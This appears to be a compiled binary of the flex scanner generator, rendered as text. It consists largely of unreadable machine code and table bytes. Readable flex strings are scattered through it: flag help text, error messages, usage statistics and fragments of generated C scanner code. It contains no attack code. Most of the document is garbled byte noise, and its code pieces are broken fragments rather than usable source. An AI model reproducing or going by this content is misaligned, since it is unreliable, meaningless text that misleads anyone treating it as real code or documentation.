Bhi$H
dihi|
Bdi
hi|
Bb$י
diKhi|
B(di~hi|
Bhi$&D$$&ƀ%di1
hi|
BL$$h
di
whi|
B
Tdi
hi|
B$虘ndi~hi|
Bb5
di	hi|
B	di~hi|
B1<2sdi'
hi|
BL$$&8$&$$]ft$b(gLidi
hi|
B$<di
hi|
Bb$diR
hi|
B$=bdi~hi|
B҉DMdi~hi|
Bt$7hi$_É$hDу1<21<2{$ö1hdi
hi|
B5$hZC9sPǡ(z9s9Srꋝ)C(CC9x<9F

,gV=hiFɢ$di~hi|
B$-hi+diA$ARdi~hi|
B$)؉hidiC$C+hiX$B$uB(B$(B;t&thiߋX9=k
40щƅtf t-049w &~,뾋dihi|
B
di,$hi|
B,di~hi|
B}di~hi|
B$뻋
dihi|
Bcdi~hi|
BbD$$y	ZdiLhi|
B.di~hi|
B<2~D$$|di~hi|
Bb<gdi~hi|
Bb<gXdi~hi|
B
#di~hi|
Bbdim
hi|
B$diO
hi|
Bb$讏di	
hi|
B$zOdi
hi|
B$FdiU
hi|
B$XLivgdi$
hi1|
BD$\$$D$?ldis
hi|
B$cb1dij
hi|
B$(di~hi|
Bdi~hi|
Bdi
hi|
B$萍 9|8 D$$=f
Ћ
di}
hi|
B$hi$}l
did
hi|
B$萌hi$}U4;Fdi~hi|
BD$	di
hi|
Bb$t$diA
hi|
B$蜋qdi
hi|
B$h=di~hi|
B	dihi|
Bdi

hi|
BL$$J$x h	_Ƅ\$$&Ndi~hi|
B5bdi~hi|
Bbdi
hi|
B$ʼndi
hi|
Bb$芉=VGdi~hi|
Bbdi~hi|
B$2di
hi|
BL$$&QdiJ
hi|
B$聈 9|7 #D$$X

Ћ
di
hi|
BL$$轩di~hi|
B$y}b
di

hi|
B$O$di6

hi|
B$diJ

hi|
B$di~hi|
B1=|dix	
hi|
Bb$l5t.
 <	Dždi~hi|
Bhi$&D$bdi$&ƀ%~$bK;^B~|$3hi$=OA9sGơ(w9s9WrG)(GG9jC)shi[5$$ (‰
hiGP9v>эTO9s9WrG)ы_19‰_hi_(
$5hi$OA9sGơ(w9s9WrG)(GG9C(ShiC$Jdi~hi|
Bdi~hi|
Bdi~hi|
Bb
di=Lhi|
B=)di~hi|
BbHdi
hi|
B$?di
hi|
B$-di~hi|
BTdiz
hi|
B$虁ndi
hi|
B$e0di
hi|
B$'҉Ddi
hi|
BL$$|賢di
hi|
B$pLi`J;
40J$=5(
hiGP9v>эTO9s9WrG)ыw9‰w7hi_5(
$;^%~v
hikhiߋZ9=
04ƅtf t-049t  &~,ƒ`J;u4
0f t0=4ƅ-0	49t  &~,	`Jf=1f(Ӊ=D$\k
hi
hi
hi
hi$5(D$\
$
him
hiD$&$
hi
hi
hi$|
hi
hi
hi
hih
hi
hib
hi
hi&
his
hi
hi
hiT(5D$\
$
hi
hiX
hi
hit@2$&D$$diPhi@$A[?
hi
hiY
hi
hiwD$<G$dihi$=uD$@$@h
hi
hi{
hiD$$O^H
hi
hi$f;hi=(xX9׉=
40щƅtf t-049t  &~,ƒ`J;u
40
,2,,2\
hi

hi
hi
hi[$x
P@x
$],5CCC@CSCC$(Shi$3C 4$$
SAQ(hi$
hi
hi$M
hi@
hii
hi`
hi
hiq1gD$@4$*ãU1҉MS]tPAu[]UD$@;(D$b$vD$bD$Z$uD$ZD$$g$uD$$gD$H3$uD$H3D$42$u42Ív'U1҉WVS}ut%1ۍt&XAuuu-[t C<$D$u[^_]$mt5t&CE{CEC1[^_]C$Vg뽍t&U(E]]u$&x$tD$eD$ kD$t$$u
]u]E
]u]Ut&UE$wUD$eD$lD$T$$ÍU1҉WVS}ut%1ۍt&XAuEu+&[tC<$D$u[^_]û8[^_]Í'U1҉WVS}t4(t&P)Cke)фuiu	%[tC<$D$}uC[^_]û8C[^_]ÍU1҉WVS}t4(t&P)Cke)фu ku	%[tC<$D$uC[^_]û8C[^_]ÍU1҉WVS}t4(t&P)Cke)фulu	%[tC<$D$]uC[^_]û8C[^_]ÍUVS ZuD$4$tZ9УZZ4$42qZ42D$eD$iT$D$$tt$$Z$b_vZ$ZBv$gMZH3Z [^]ÍB(D$b@;D$$pD$bD$Z$upD$ZD$$g$RpD$$gD$H3$/pD$H3D$42$p42ygUVu1Sgy=it&
`2tE
@hE`gBÅ~ `;1ɍDB9u[^]Ë0;0;`2y'UUS
9tG;0;tW`2`2`2u'`2
[]Ðt&Ѝ&
0;롐UW1V5S~NE]M`;t&tS9Puu䐉[^_]É'U%D$p$]gdZ%t>
c~B9ȉcuÍv'US%D$@;D$%x$mD$x%D$p$emD$@$p\[]Í&UWVS}EU9=ZuEU
p=ZZ%BZ9|ݍ%D$x@;D$$lD$x%D$p$lD$@p$[
pZqZ)0gUZx4MZZ;d~%dZ9}[^_]Ë
p$D$D$%@;kD$x%D$p$kpE@E[^_]ZUVSdD2bdl%D$x@;D$$OkD$x%D$p$,kD$@p$dZd%9}Hg5xpdb~/ȉdbd9
}֋
dbZ
Z0gbd%[^]Í'UWVS}dƋ%+59x%\$@;D$$iD$x%D$p$iD$@p$X%\}FZ<9t#Mt&Qt
9u[^_]Ë5Z%9#p!t&<
z߉9} D
tՃ߉9|x%@;\$D$$hD$x%D$p$hD$@p$W%9؉8|&UWVSEU}uEU=y;5Z
p5ZZ%BZ9|ݍ%D$x@;D$$gD$x%D$p$gD$@p$V
pZqZ)0gUZx<MZZ;d%dZ9$D$D$%@;fD$x%D$p$fpE@E[^_]UыU<
4Z`3[^_]Ë
pcUWVS}d^ƋE+5
%E9x
%L$@;D$$eD$x%D$p$eD$@p$U
%E5Z
%E9j=pˉ9~ TtՃˉ9x
%L$@;D$$ eD$x%D$p$dD$@p$5T
%9ȉ=|}FZEWE9ЉEtExt	:9UuUZ4DE~FMxAtzACE9}}׋E;d~d[^_]ÃOE=pETvUWVS<UE]MUԋUE؉]ЅHE~']EC\u
}KfɉM~E؉ML7kd)9E=Z;}}2
p	f9}~!GtNjBu9}߸
%+EEˉ9Esx
%L$@;D$$bD$x%D$p$bD$@p$Q
%9~U9UU]؋u
}5p:+E_9ˉM}t
Bt9|u9xx
%L$@;D$$aD$x%D$p$aD$@Up$P
%9M~U߃;U}gUԡZ]0gMЉ<[^_]ÃE;Mt&}md}9E
%lj+]]]ރ9Ή]|p%D$x@;D$$`D$x%D$p$n`D$@p$O%9~ZUԋM]Љ0gE9ELUȋMpx4ыtu	}tUԉ;M~;=ZdE9}Уd<[^_]ËE؋]4=9Z4
pZZ%BZ9|ݡx
%L$@;D$$1_D$x%D$p$_D$@p$FN
pkUԡZMpGZOf
ZBu
%MԃUУZ
4`3,
p]ԡZ+U0gUЉZxZ4Z;d%dZ9L$$
%D$@;]D$x%D$p$]pE@E<[^_]LUWVS<%=%%>91ۅ~L
bA=9|}<t܈}zѡg5g%b؃15g=
`2t45
Dž@hE`gFDž~x`;1ɋDB9u]ǍDž`;t!S9Puu䐍t&|$<$D$D$ED$<[^_]Ë50;0;`2	%D$b@;D$$k[=b|$D$D$cD$\$$}=&fUWVS,5g%d`%	t&%D2;x}%Dž1~a=b$t&c~~9|0
gЅɋuȅ9}СD2t$D$D$%D$$;9%E,[^_]ÉT$D$c$%t&UWVSLk]d+9/kEdkU2

9Љt5u94`gE9`g`2uE9؉9Džt$@hD$ML$t$
$M9g1g=
`2t]Bu
@h4`gÅ~u`;1ɋDB9u

9;0;Ƌ`2`2`2t`2
L[^_]ËXUDžEэ9OADž1Dž)~n
ƍ`;EtP9Suu9~`2/kd9]kE<9Tg1g=~0;0;`24`2tEM
@hB`g~$]`;1ɍvDB;uuD$t$ED$T$M$L[^_]ËUD$T$ML$\$u4$jL[^_]ËkDž]`;tS9Puu䋵kdME-0;0;`2uDž`;tN9HuukdMUT$ML$]$IL[^_]Ë0;1DžEM$M1ۉDž
UVS
|
1ۃ=<2|
u$fEu<282L}~{Qvt&	t&o
t&hiD$DD$$脶[^]Ív{/(
fUf`D$D$$HD$
뗍vZD$+D$$}Lg?VCf$D$[^]Í;Í@Nfn&6D$&D$3$EwSD$hi$LiD$vD$$s"&$vLi\$D$TD$$[^]ÁuLiD$<D$$腴><uD$D$$/D$8=<2LD$D$$|D$~D$D$$.	D$ͳT5LiFރ[w	f$|ƀuDp@t$D$!	$荳t$D$8$o$
D$赳=<2D$D$$<D$4$D$hU]Ít&'UWVS^ÍgE)E}Ut+1ƍED$ED$E$9}u߃[^_]Ë$ÐUStЋu[]US[@Y[-%sconsistency check failed in symfollowsetbad transition character detected in sympartition()consistency check failed in epsclosure() associated rule line numbers:static yyconst %s yy_nxt[][%d] =
    {
could not create unique end-of-buffer state out-transitions: 
 jam-transitions: EOF 	%dState #%d is non-accepting -
dangerous trailing context

DFA Dump:

short    {    },
state # %d:
	%d	%d
yy_ec

Equivalence Classes:

%4s = %-2dyy_accliststate # %d accepts: , yy_acceptstate # %d accepts: [%d]


Meta-Equivalence Classes:
yy_meta%d = %d
yy_baseyy_defyy_nxtyy_chk    };
    &yy_transition[%d],
yy_act = yy_acclist[yy_lp];yy_full_match = yy_cp;yy_full_state = yy_state_ptr;yy_full_lp = yy_lp;++yy_lp;goto find_rule;--yy_cp;if ( yy_act == 0 ){ /* have to back up */case 0: /* must back up */yy_current_state = yy_start;yy_state_ptr = yy_state_buf;register YY_CHAR yy_c = %s;register int yy_c = %d;
if ( ! yy_is_jam )yy_ec[YY_SC_TO_UI(*yy_cp)]YY_SC_TO_UI(*yy_cp)if ( *yy_cp )yy_ec[YY_SC_TO_UI(*++yy_cp)]YY_SC_TO_UI(*++yy_cp)++yy_cp;register YY_CHAR yy_c;
for ( yy_c = %s;yy_verify == yy_c;      yy_c = %s )doyytext_ptr -= yy_more_len; \if ( yyleng >= YYLMAX ) \yyleng += yy_more_offset; \yy_more_offset = 0; \#define YY_NUM_RULES %d
#define YY_END_OF_BUFFER %d
struct yy_trans_infolong yy_verify;short yy_verify;%s yy_nxt;yy_NUL_transextern int yy_flex_debug;int yy_flex_debug = 1;
yy_rule_linenumstatic char *yy_full_match;static int yy_lp;static int yy_full_lp;static int *yy_full_state;#define REJECT \++yy_lp; \goto find_rule; \static int yy_more_flag = 0;static int yy_more_len = 0;#define YY_NEED_STRLEN#define YY_MORE_ADJ 0yyleng -= yy_more_offset; \#ifndef YYLMAX#define YYLMAX 8192#endif
char yytext[YYLMAX];char *yytext_ptr;		{ \		int c = '*', n; \			buf[n] = (char) c; \		if ( c == '\n' ) \			buf[n++] = (char) c; \		result = n; \		} \		  && ferror( yyin ) ) \#define YY_RULE_SETUP \if ( yyleng > 0 ) \if ( yy_more_flag )yy_match:int yyl;if ( yytext[yyl] == '\n' )++yylineno;if ( yy_flex_debug )else if ( yy_act < %d )
else if ( yy_act == %d )
         yytext );case YY_STATE_EOF(%s):
yyterminate();if ( c == '\n' )--yylineno;static yyconst struct yy_trans_info yy_transition[%d] =
static yyconst struct yy_trans_info *yy_start_state_list[%d] =
yy_act = yy_current_state[-1].yy_nxt;yy_act = yy_accept[yy_current_state];yy_current_state = *--yy_state_ptr;yy_lp = yy_accept[yy_current_state];find_rule: /* we branch to this label when backing up */for ( ; ; ) /* until we find what rule we matched */if ( yy_lp && yy_lp < yy_accept[yy_current_state + 1] )if ( yy_act & YY_TRAILING_HEAD_MASK ||     yy_looking_for_trail_begin )if ( yy_act == yy_looking_for_trail_begin )yy_looking_for_trail_begin = 0;yy_act &= ~YY_TRAILING_HEAD_MASK;else if ( yy_act & YY_TRAILING_MASK )yy_looking_for_trail_begin = yy_act & ~YY_TRAILING_MASK;yy_looking_for_trail_begin |= YY_TRAILING_HEAD_MASK;yy_cp = yy_last_accepting_cpos;yy_current_state = yy_last_accepting_state;if ( yy_current_state[-1].yy_nxt )if ( yy_accept[yy_current_state] )yy_last_accepting_state = yy_current_state;yy_last_accepting_cpos = yy_cp;/* undo the effects of YY_DO_BEFORE_ACTION */yy_cp = yy_last_accepting_cpos + 1;yy_current_state = yy_start_state_list[yy_start + YY_AT_BOL()];yy_current_state = yy_start_state_list[yy_start];yy_current_state += YY_AT_BOL();*yy_state_ptr++ = yy_current_state;while ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state )yy_current_state = (int) yy_def[yy_current_state];if ( yy_current_state >= %d )
yy_c = yy_meta[(unsigned int) yy_c];yy_current_state = yy_nxt[yy_base[yy_current_state] + (unsigned int) yy_c];register char *yy_cp = yy_c_buf_p;yy_current_state = yy_NUL_trans[yy_current_state];yy_is_jam = (yy_current_state == 0);yy_current_state = yy_nxt[yy_current_state][%d];
yy_is_jam = (yy_current_state <= 0);register yyconst struct yy_trans_info *yy_trans_info;
yy_trans_info = &yy_current_state[(unsigned int) yy_c];yy_current_state += yy_trans_info->yy_nxt;yy_is_jam = (yy_trans_info->yy_verify != yy_c);yy_is_jam = (yy_current_state == %d);
(*yy_cp ? yy_ec[YY_SC_TO_UI(*yy_cp)] : %d)(*yy_cp ? YY_SC_TO_UI(*yy_cp) : %d)yy_current_state = yy_nxt[yy_current_state][%s];yy_current_state += yy_current_state[%s].yy_nxt;while ( (yy_current_state = yy_nxt[yy_current_state][%s]) > 0 )yy_current_state = -yy_current_state;      (yy_trans_info = &yy_current_state[(unsigned int) yy_c])->while ( yy_base[yy_current_state] != %d );
while ( yy_current_state != %d );
yyleng = (int) (yy_cp - yytext_ptr); \yyleng = (int) (yy_cp - yy_bp); \if ( yyleng + yy_more_offset >= YYLMAX ) \YY_FATAL_ERROR( "token too large, exceeds YYLMAX" ); \yy_flex_strncpy( &yytext[yy_more_offset], yytext_ptr, yyleng + 1 ); \yy_prev_more_offset = yy_more_offset; \yy_flex_strncpy( yytext, yytext_ptr, yyleng + 1 ); \static yy_state_type yy_last_accepting_state;static char *yy_last_accepting_cpos;
static yy_state_type yy_state_buf[YY_BUF_SIZE + 2], *yy_state_ptr;static int yy_looking_for_trail_begin = 0;#define YY_TRAILING_MASK 0x%x
#define YY_TRAILING_HEAD_MASK 0x%x
*yy_cp = yy_hold_char; /* undo effects of setting up yytext */ \yy_cp = yy_full_match; /* restore poss. backed-over text */ \yy_lp = yy_full_lp; /* restore orig. accepting pos. */ \yy_state_ptr = yy_full_state; /* restore orig. state */ \yy_current_state = *yy_state_ptr; /* restore curr. state */ \/* The intent behind this definition is that it'll catch * any uses of REJECT which flex missed.#define REJECT reject_used_but_not_detectedstatic int yy_more_offset = 0;static int yy_prev_more_offset = 0;#define yymore() (yy_more_offset = yy_flex_strlen( yytext ))#define YY_RESTORE_YY_MORE_OFFSET \yy_more_offset = yy_prev_more_offset; \#define yymore() (yy_more_flag = 1)#define YY_MORE_ADJ yy_more_len#define YY_RESTORE_YY_MORE_OFFSET#define yymore() yymore_used_but_not_detected	if ( (result = read( fileno(yyin), (char *) buf, max_size )) < 0 ) \		YY_FATAL_ERROR( "input in flex scanner failed" );	if ( yy_current_buffer->yy_is_interactive ) \		for ( n = 0; n < max_size && \			     (c = getc( yyin )) != EOF && c != '\n'; ++n ) \		if ( c == EOF && ferror( yyin ) ) \			YY_FATAL_ERROR( "input in flex scanner failed" ); \	else if ( ((result = fread( buf, 1, max_size, yyin )) == 0) \yy_current_buffer->yy_at_bol = \		(yytext[yyleng - 1] == '\n'); \yy_more_len = yy_c_buf_p - yytext_ptr;if ( yy_act != YY_END_OF_BUFFER )for ( yyl = 0; yyl < yyleng; ++yyl )cerr << "--scanner backing up\n";fprintf( stderr, "--scanner backing up\n" );cerr << "--accepting rule at line " << yy_rule_linenum[yy_act] <<         "(\"" << yytext << "\")\n";fprintf( stderr, "--accepting rule at line %d (\"%s\")\n",         yy_rule_linenum[yy_act], yytext );cerr << "--accepting default rule (\"" << yytext << "\")\n";fprintf( stderr, "--accepting default rule (\"%s\")\n",cerr << "--(end of buffer or a NUL)\n";fprintf( stderr, "--(end of buffer or a NUL)\n" );cerr << "--EOF (start condition " << YY_START << ")\n";fprintf( stderr, "--EOF (start condition %d)\n", YY_START );yy_current_buffer->yy_at_bol = (c == '\n');if ( yy_current_buffer->yy_at_bol )%s [-bcdfhilnpstvwBFILTV78+? -C[aefFmr] -ooutput -Pprefix -Sskeleton]
	[--help --version] [file ...]
	-b  generate backing-up information to %s
	-d  turn on debug mode in generated scanner
	-f  generate fast, large scanner
	-h  produce this help message
	-i  generate case-insensitive scanner
	-l  maximal compatibility with original lex
	-p  generate performance report to stderr
	-s  suppress default rule to ECHO unmatched text
	-t  write generated scanner on stdout instead of %s
	-v  write summary of scanner statistics to f
	-w  do not generate warnings
	-B  generate batch scanner (opposite of -I)
	-F  use alternative fast scanner representation
	-I  generate interactive scanner (opposite of -B)
	-L  suppress #line directives in scanner
	-T  %s should run in trace mode
	-+  generate C++ scanner class
	-?  produce this help message
	-C  specify degree of table compression (default is -Cem):
		-Ca  trade off larger tables for better memory alignment
		-Ce  construct equivalence classes
		-Cf  do not compress scanner tables; use -f representation
		-CF  do not compress scanner tables; use -F representation
		-Cm  construct meta-equivalence classes
		-Cr  use read() instead of stdio for scanner input
	-P  specify scanner prefix other than "yy"
	--help     produce this help message
	--version  report %s version
-C flag must be given separately-o flag must be given separately-P flag must be given separately-S flag must be given separately%s: unknown flag '%c'.  For usage, try
	%s --help
input error reading skeleton file %serror closing skeleton file %s%d backing up (non-accepting) states.
Compressed tables always back up.
%s version %s usage statistics:
  %d/%d DFA states (%d words)
  %d backing-up (non-accepting) states
  Compressed tables always back-up
  Beginning-of-line patterns used
  %d epsilon states, %d double epsilon states
  %d/%d character classes needed %d/%d words of storage, %d reused
  %d state/nextstate pairs created
  %d/%d unique/duplicate transitions
  %d/%d base-def entries created
  %d/%d (peak %d) nxt-chk entries created
  %d/%d (peak %d) template nxt-chk entries created
  %d templates created, %d uses
  %d/%d equivalence classes created
  %d/%d meta-equivalence classes created
  %d (%d saved) hash collisions, %d DFAs equal
  %d sets of reallocations needed
  %d total table entries needed
could not create backing-up info file %s-l AT&T lex compatibility option entails a large performance penalty
 and may be the actual source of other reported performance penalties
%%option yylineno entails a large performance penalty
-I (interactive) entails a minor performance penalty
yymore() entails a minor performance penalty
REJECT entails a large performance penalty
Variable trailing context rules entail a large performance penalty
REJECT cannot be used with -f or -F%option yylineno cannot be used with -f or -Fvariable trailing context rules cannot be used with -f or -Ftypedef unsigned char YY_CHAR;typedef yyconst struct yy_trans_info *yy_state_type;	LexerError( "yyFlexLexer::yylex invoked but %option yyclass used" );
#define YY_DECL int %s::yylex()
%option yyclass only meaningful for C++ scannersCan't use -f or -F with -l option-Cf/-CF and -Cm don't make sense together-Cf/-CF and -I are incompatible-Cf/-CF are incompatible with lex-compatibility mode-Cf/-CF and %option yylineno are incompatible-Cf and -CF are mutually exclusive%array incompatible with -+ option-s option given but default rule can be matched	-c  do-nothing POSIX option
	-n  do-nothing POSIX option
cc	-V  report %s version
	-7  generate 7-bit scanner
	-8  generate 8-bit scanner
	-o  specify output filename
	-S  specify skeleton file
yy--help-h--version-V--unknown -C option '%c'%s version %s
error writing output file %serror closing output file %serror deleting output file %sNo backing up.
error writing backup file %serror closing backup file %s  scanner options: - -C -o%s -S%s -P%s  %d/%d NFA states
  %d rules
  No backing up
  %d/%d start conditions
  no character classes
  %d table entries
  %d empty table entries
  %d protos created
fatal parse errorw
#define YY_USES_REJECT
#define yywrap() 1#define YY_SKIP_YYWRAP
#define FLEX_DEBUGtypedef char YY_CHAR;#define yytext_ptr yytext#define YY_INTERACTIVE#ifdef VMS#ifndef __VMS_POSIX#else#endiftypedef int yy_state_type;#define YY_FLEX_LEX_COMPATextern int yylineno;int yylineno = 1;
#include <FlexLexer.h>int yyFlexLexer::yylex()extern char yytext[];
extern char *yytext;Can't use -+ with -l optionCan't use -+ with -CF optioncould not create %scan't open skeleton file %sFlexLexer#define yy%s %s%s
_create_buffer_delete_buffer_scan_buffer_scan_string_scan_bytes_flex_debug_init_buffer_flush_buffer_load_buffer_state_switch_to_bufferinlengoutrestartwraprule cannot be matchedflexlex.backuplex.%s.%s#2+Tcr V/////////////////////////////n//////z////b\a\v\b\f\n\r\t\%.3o' '%o%x%s: fatal internal error, %s
%s: %s
 {%4d,%4d },    } ;
    %5dbad line in skeleton filename "%s" ridiculously long#define %s %d
$+29oooooooo`````````````````````````````````````````````````````````G=3)[yoQebad character '%s' detected in check_char()scanner requires -8 flag to use the character %smemory allocation failed in yy_flex_xmalloc()attempt to increase array size faileddynamic memory failure in copy_string()memory allocation failed in allocate_array()too many rules (> %d)!state # %4d	%3d:  %4d, %4d  [%d]********** end of dump
empty machine in dupmachine()case %d:
yy_bpyy_c_buf_p = yy_cp%s = %s + %d;
%s -= %d;
YY_RULE_SETUP
found too many transitions in mkxtion()input rules are too complicated (>= %d NFA states)

********** beginning dump of nfa with start state %d
bad state type in mark_beginning_as_normal()Variable trailing context rule at line %d
*yy_cp = yy_hold_char; /* undo effects of setting up yytext */
YY_DO_BEFORE_ACTION; /* set up yytext again */
"%s", line %d: %s
warning, %s;
	YY_BREAK
INITIALbad start condition listunrecognized ruleundeclared start condition %s<%s> specified twicetrailing context used twicebad iteration valuesmultiple <<EOF>> rules for start condition %sYY_FATAL_ERROR( "flex scanner jammed" )unknown error processing section 1'^' operator results in sub-optimal performanceall start conditions already have <<EOF>> rulestrailing context made variable due to preceding '|' actioniteration value must be positivenegative range in character classLLPnRLLLUXXvXANANTLLLTTTTvTLTTSRRR6N`RQ6NLLQ\ZNONQ)N%QP)NQuQOU[l[[V|]eNN$\\sN^\W[N['[TVVYuYUWWVUUXYX^YNQ	'3JR=:,BF)[;)` 6cI*$+,"'#/)& !(-.%	

7	

	 #)*+-`.$%&%)*+*-,1"" 6.'(!#!$%/;@.D*+QGh,-RSTUVWXYZ[\]+M.%i,eQ&f/012G^RSTUVWXYZ[\]!CDED/01N2HO?<IFcJK"#:	;$aD@B&bdgj L)P=`	

"#!853L>'),4>&*$+-./ K67<?@ABCDEFGHIJ9=(%:2;100123333455666788999:::;<<<<=>>>???@AAAABBCDDEEEEEEEEEEEEFFGGGGHHHHHHHHHHHHIIKP.>*+

3'(456789A_>can't open %s<stdin>input in flex scanner failedbad buffer in yy_scan_bytes()unrecognized '%' directiveincomplete name definitionunrecognized %%option: %sbad character classundefined definition {%s}bad <start condition>: %smissing quotebad character inside {}'smissing }bad character: %sflex scanner jammedout of dynamic memory in yy_scan_buffer()out of dynamic memory in yy_create_buffer()fatal flex scanner internal error--end of buffer missedfatal error - scanner input buffer overflowout of dynamic memory in yy_scan_bytes()out of memory expanding start-condition stackstart-condition stack underflowflex scanner push-back overflowbad character class expression: %sEOF encountered inside an actionfatal flex scanner internal error--no action found
c)Ӣ<p5wnޖ9t|IuCM-kۈJ|zz{={v{{{H||||D}v}}}&~X~~~~+uDv`-rԋ,܌c8gwwx~xxPyyzIzK[	wv	wÂ5whv?vhswԅ
vP1uQq7vŒ2^ΞZ6&ܣ4ٙXǕ9lgZp	




 !"#$%&'()*+,-./01234567/ !"#$%&'()*+,-./01234567/89:WWldel]lklllkcYll[\WXWVUVV qmnprsustsxxxxz|zzzz{RQ"!QQQQ#QQQQQQQQQQQQQQQQQQQde_ii^cY[\hZWXVUUST opuvw|yR"!PQQQQQQQQQQQQQQQQ$QQQQQQQQQQ`aiiiiijZbhSTQQQQQ,QQQ1QQQQQQQQQQQQQQQQQQQQQQQiiiiii%&QQQQQQQQ23QQQ7QQQQQQ<QQQQQQCQQQQ
iiiiii'Q)Q+QQQ/Q4QQQQQQQQQ>QQAQQQQQiiiQ*QQQQQQQQQQQQN=Q@QQQEF
gfQQQ-Q0QQQQMQ;?BOQfQQQ.QQ8QQD	}~QQQQQQQQQQQ6QQQQQ5Q:QQQQHIQQQQGKQQQJLQQQQQQ9(	
		



!# !!!""##$$%&&&&&'''())))))))))*))))))))+,-./012234567899:;<=>>>?@ABCCDDDEEFFGHHHIIIJKKKKKKKKKKKKKKKKKKKKKKKKKKLMNOPQRRSSTTTTTUVW:;>>AAAAAAAAAAADDIIKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKOOOOPQUTWUTW>>hAAAAAAAAAAADDIIKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKOOTWTTT>>AAAAAAAAAAAADDIIKKKKKKKKKKKKKKKKKKKKKKKKKKKKKXTTT>>AAAAAAAAAAAADDIIKKKKKKKKKKKKKKKKKKKKKKKXXAAAAAAAAAAAAKKKKKKKKKKKKKKKKKYAKKKKKKKKKKYYKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK	

:sx


 {
z
X[w}]

a

h

:

A



|
~O

z










f
Q
M





g










7
m
;

}
k
=

{

=r
Y
D



d
k

v


u
=

k
R
=

q

o
l
P
O

 O
CJ
K
>?
G
26
KE
5
:
B
E
,


]
dz
^
}
]
X8


[
%
]
Y
8
l

 

V
 
L
A


2

R
P


*
&
N











'
#





T

;$
 
H

D

!
 

39

l






	






}



0



0
t
		


%
(
elq 	




	
	

fgjou
	+
				

									
										B			\					1
6G				Nv	
					"{~80>;9				

					|																	k							
					Q9				
Bxw{Gy
=~										j	n		`	Y	e	Q	N	O						vyuxeTQ[_VLYED

?
E
CB<;:762/qP
`ZYH8($#"











{z
y[UcC<;HB32/-3



t

E>V
/?O_o	(8HXbq{(3BRbjq!1AKZdkz		"	2	<	E	T	d	t	}					0B<<66==m0mB=%%KK%%%%																																																										

























































&&)))---&&&&   999>>>>cccc !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!##########################################################1555yii5llss???#?y111?1?#11111?i1l1s5?&&!!j



*5:*j:AAA5JJ::====AAAA:LLNNPPRRXXDDDSklTTmSSVVnDDDDTsVVkmlsnTUUoUUUUUUUUUUUUUUUUUUUUUUUUoUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUWWWWqWWWWWWWWWhhphhhhhhhqhhhhhhhhhhhhrhhhhpp11rhhhwwwwwwwwwwwwwwwwwwwwwwwwwwww66	77	>
555
<=>?@=ABCDGEFggz<iiA?EG**@BCDFz																































               !!!!!!!""""""""""""""""###############$$$$$$$$$$$$$%%%%%%%%%%%%%%%&&&&&&&&&'''''''((((((((((((((())))))+++++++++++++++,,,,,,,,,,,,,,,---------------...../////0000000000000000111111111111111122222222222222333333333333333444555555556666666666666667}777777777777778|888888888888889{99999999999999:y::::::::::::::;x;;;;;;;;;;;;;;<<<<<<<<<<<<<<<<=w==v===ut==srq=>>>>po>>>?m??????????????@@@@kd@@@AAcbaAAB`_^BBBB\YBBCXCCCCCCCCCCCCCCDDDDWVDDDEEEEEEEEEEEEEEEEFFFFUFFFFFFFFFFFGTSGGGGGGGRGGGGGHQHHPHHHONHHL98HIIII43IIIJ2JJJJJJJJJJJJJJKK0KK/.-KKL,LLLLLLLLLLLLLLM+MMMMMMMMMMMMMMN*NNNNNNNNNNNNNNOOOOOOOOOOOOOOOOPPPP)(PPPQQQQ'%QQQRRRRRRRRRRRRRRRRSSSSSSSSSSSSSSSST$TTTTTTTTT"TTTTUU! UVVVVVVVVWWWWWWWWWWWWWWWXXXXXXXXXXXXXXXXYYYYYYYYYYYYYYYY
~}|{zyxutidc`^ZQGFEC>;9874321/-,+)('%$"}|zwrpkga\YWUTSPLJIGCA;72/+'
()*+(((((((((((((((((((,,((((,,,,,,,,,,,,,,,,,,,,,,,,,,((((-./(0(1((((((2((((((((33((((33333333333333333333333333(((56789FG::::IFJ;KWXY<=WXY`a`abccccbcccc>::?@A89B(::::fgh(Cfgh<=Ddklmdikl<mi	
>::NNOPNNNNNNQNNNNNNNNNNNNRRNNNNRRRRRRRRRRRRRRRRRRSRRRRRRTNNNZZ(ZZZZZZZ[Z[ZZZZZZZZZ\]]ZZZZ]]]]]]]]]]]]]]]]]]]]]]]]]]ZZZop(opq	
q)rstrstuuvwxuuuyuuuuuzuuuuuuuu{{uuuu{{{{{{{{{{{{{{{{{{|{{{{{{}~u

,KL-!$"/0OP%2====34ABCSTABCABCDDDDVVDDDDDDDDABCUXX|STDDDDE	
}FW	


GKL====KLeefgeeeeeeheeeeeeeeeeeehheeeehhhhhhhhhhhhhhhhhhhhhhhhhheeejklmOPnOPSTopqrsvvvvvvvvvwvvvvvvvvvvvvwwvvvvwwwwwwwwwwwwwwwwwwwwwwwwwwvvvBCSTDDDDRSTBC()STRRRRRRRRRRRRRRRRRRRRRRSTRRRRRSTSThhhhhhhhhhhhhhhhhhhhhhhhhiST~SThhhwwDwwwwwwwwwwwwwwwwwwwwwwwSTE
66www=	BSTSTSTF@>C?7777NSTR7AGqO777777phiohitrxz..suvwy4444444444444444EEEEEEEEEEEEEEEEHHHHHHHHHHHHHHHHLLLLLLLLLLLLLLLLVVVVVVVVVVVVVVVV((((((((((((((((________________eeeeeeeeeeeeeeeejjjjjjjjjjjjjjjjnnnnnnnnnnnnnnnn      ;;;;;;;;;;;;;;;???????????????@@@@@@@@@@@@@@@HHHHHIIIIIJJJJJJJJJJJJJJJJNNNNNNNNNNNNNNNNRRRRRRRRRRRRRRYYYZZZZZZZZ_______________aaaaaaaaaaaaaaabbbbbbbbbbbbbbbiiii~}|{nmlkj  0  fed  ;c;;;;;;;;;;;;;;?b??????????????@a@@@@@@@@@@@@@@`_^]JJJJJJJJJJJJJJJJNNNNNNNNNNNNNNNNR\RRRRRRRRR[RRRRZYXWZZZZVUZZZZ_T______________ggggggggggggggggSRQPMLKJIH;:98543210/.-,+*'&%$#"! 
